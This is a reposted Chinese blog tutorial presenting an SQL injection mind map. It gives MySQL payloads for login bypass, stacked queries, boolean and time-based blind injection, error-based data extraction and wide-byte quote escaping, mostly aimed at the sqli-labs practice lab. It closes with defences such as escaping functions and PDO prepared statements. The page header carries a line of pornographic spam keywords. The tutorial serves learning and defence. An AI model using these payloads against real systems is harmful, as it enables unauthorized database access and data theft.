日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

sql server 替换有反斜杠的字符串_SQL注入思维导图

發布時間:2025/3/20 数据库 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql server 替换有反斜杠的字符串_SQL注入思维导图 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
新朋友點上方藍字“網絡空間安全社”即可關注本文為以大三老狗的思路現階段整理的超大型思維導圖中的“sql注入”分支介紹。

2020/1/2 22:00

前言

本文筆者從大一下學期開始在學習網安這個領域初期的時候,在這個公眾號發布過不少網安的入門文章。時間荏苒,隨著知識的積累和各種項目的經歷,在網絡、運維、網安和編程方面的能力算是呈指數型爆炸。

最近做了一個超大型的網安思維導圖(我畫的思維導圖真的太大了,本文的sql注入思維導圖僅僅是不到二十分之一而已),基本會覆蓋網安學習和實踐中的所有知識點。思維導圖的各種分支會精細到知識細枝末節的顆粒度。

當然,也在不斷完善和維護中。本著分享的原則,當我將這個思維導圖完善到能夠讓自己滿意到足夠交代我大一到大三這幾年的學習,我會分享給大家。

我會在本公眾號逐步發表一些越來越難的東西和我個人的理解(難不難是相對人的,歡迎評論留言不懂之處或對筆者的批評之處~)

到時候學弟問你們怎么入坑網安,各位師傅不要和學弟說這個是勸退圖哦。

大綱

(由于微信對圖片的限制,sql注入分支切為四個圖。將大段文字的注解分別跟在每個思維導圖后面方便大家理解)

1.SQL與SQLi ? (SQL injection,即SQL注入)判斷

2.手工注入

3.SQLmap錦集 ?(在兼職當講師的時候對sqlmap進行了一次重新的大梳理)

4.其他點與防御

1SQL與SQLi判斷

mid函數:

select mid((select username from users where id=1),1,2)

substr函數:

substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’

這種單個字符比較的話,返回布爾值的1或0

ord函數:

(同于 ascii()) ?-> ascii碼 :select ord("a")

正則注入和通配符函數:

mysql可以使用regexp來匹配正則,

mssql是like匹配不標準的正則,也就是通配符匹配:

通配符%多個字符,_是單個字符

select * from users where password regexp '^D'

SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="security" AND table_name REGEXP '[a-z]' LIMIT 0,1

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

like進行模糊匹配

select user() like "ro%"

mysql報錯:

判斷注入點最直接簡單的方式是看有沒有DBMS的報錯信息。

注意區別于CGI腳本的報錯、中間件的報錯和防火墻的報錯。

這幾者報錯不一樣

2手工注入

萬能密碼(這里放一小部分,有專門的萬能密碼字典去測試):

admin

admin'--

admin' or 4=4--

admin' or '1'='1'--

堆疊查詢注入:

less38

http://127.0.0.1:9000/less-38/?id=%27;%20insert%20into%20users(id,username,password)values(%27100%27,%27lqs%27,%27lqs%27)--+

這個和后臺的mysqli_multi_query實現方法有關

剪切字符串進行ascii比較

sqli-less5:?

字符型直接注入,沒有回顯? ?-》 布爾盲注:

?id=3' and 1=(select 1=(ascii(mid((select database()),1,1))>100)) --+?

sleep():

eg:

select If(1=1,0,sleep(5))

payload:

If(ascii(substr(database(),1,1))>115,0,sleep(5))%2

count,floor,rand報錯(至于為什么這三個函數會產生報錯信息,在公眾號歷史文章寫過 (點擊右側標題查看)?為什么count,floor,rand會產生自定義內容的報錯:)

Select 1,count(*),

concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a

from information_schema.columns group by a;

double數值類型超出范圍:

Exp()為以 e 為底的對數函數;版本在 5.5.5 及其以上:

select exp(~(select * FROM(SELECT USER())a)) //double 數值類 型超出范圍

bigint 超出范圍

select !(select * from (select user())x) -(ps:這是減號) ~0

//bigint 超出范圍;~0 是對 0 逐位取反,很大的版本在 5.5.5 及其以上

可以參考文章 bigint 溢出文章:

http://www.cnblogs.com/lcamry/articles/5509112.html

%df吃掉反斜杠:? (寬字節注入)

sqli-lab: less32

?id=-1%df%27%20union%20select%201,2,3%20--+

3最強工具sqlmap

4其他,防御

magic_quotes_gpc

php 是通過 magic_quotes_gpc 來決定是否對外來數據做轉義處理的

php 5.3.6及以后默認關閉

php5.4.0及以后忽視它的存在

php 5.4 之前,會有全局魔術引號

但是對引號進行過濾防范不住 int 型的sql注入

get_magic_quotes_gpc():

檢測是否gpc?

常用來避免是否雙層轉義

addslashes()

addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。

預定義字符是:

單引號(')??雙引號(")??反斜杠(\)??NULL

mysql_real_escape_string()

mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

\x00

\n

\r

\

'

"

\x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

PDO:

PDO:PHP data object PHP數據對象PDO推薦使用在php5.4及以后,之前的PDO一般都存在一些BUG和問題提供了一個數據訪問抽象層,不管什么數據庫,都可以直接使用這個來查詢和獲取數據<?php $dbms='mysql'; //數據庫類型$host='localhost'; //數據庫主機名$dbName='security'; //使用的數據庫$user='root'; //數據庫連接用戶名$pass='root'; //對應的密碼$dsn="$dbms:host=$host;dbname=$dbName";try { $dbh = new PDO($dsn, $user, $pass); //初始化一個PDO對象 echo "連接成功
"; /*你還可以進行一次搜索操作 foreach ($dbh->query('SELECT * from FOO') as $row) { print_r($row); //你可以用 echo($GLOBAL); 來看到這些值 } */} catch (PDOException $e) {????die?("Error!:?"?.?$e->getMessage()?.?"
");}//默認這個不是長連接,如果需要數據庫長連接,需要最后加一個參數:array(PDO::ATTR_PERSISTENT => true) 變成這樣://$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));$dbh->exec("set?names?'utf8'");?$sql?=?"select?*?from?security.users?where?id=??limit?1";$stmt?=?$dbh->prepare($sql);$name = $_GET['id'];//綁定參數$stmt->bindValue(1,$name);//執行預處理語句$stmt->execute();//推薦這種方式來獲取查詢結果while?($row=$stmt->fetch()){????print_r($row);}//釋放查詢結果$stmt = null;//關閉連接$pdo?=?null;?>這里重點:
  • tamper腳本的改寫

  • nmap或者其他工具爆破可外連接mysql服務

  • 今天SQLmap就介紹到這里了,下一篇我會介紹我寫的nmap的思維導圖,需要大家有良好的網絡基礎哦~!

    歡迎 掃碼 關注公眾號:網絡空間安全社? ?后續精彩文章將會陸續推送哦

    總結

    以上是生活随笔為你收集整理的sql server 替换有反斜杠的字符串_SQL注入思维导图的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。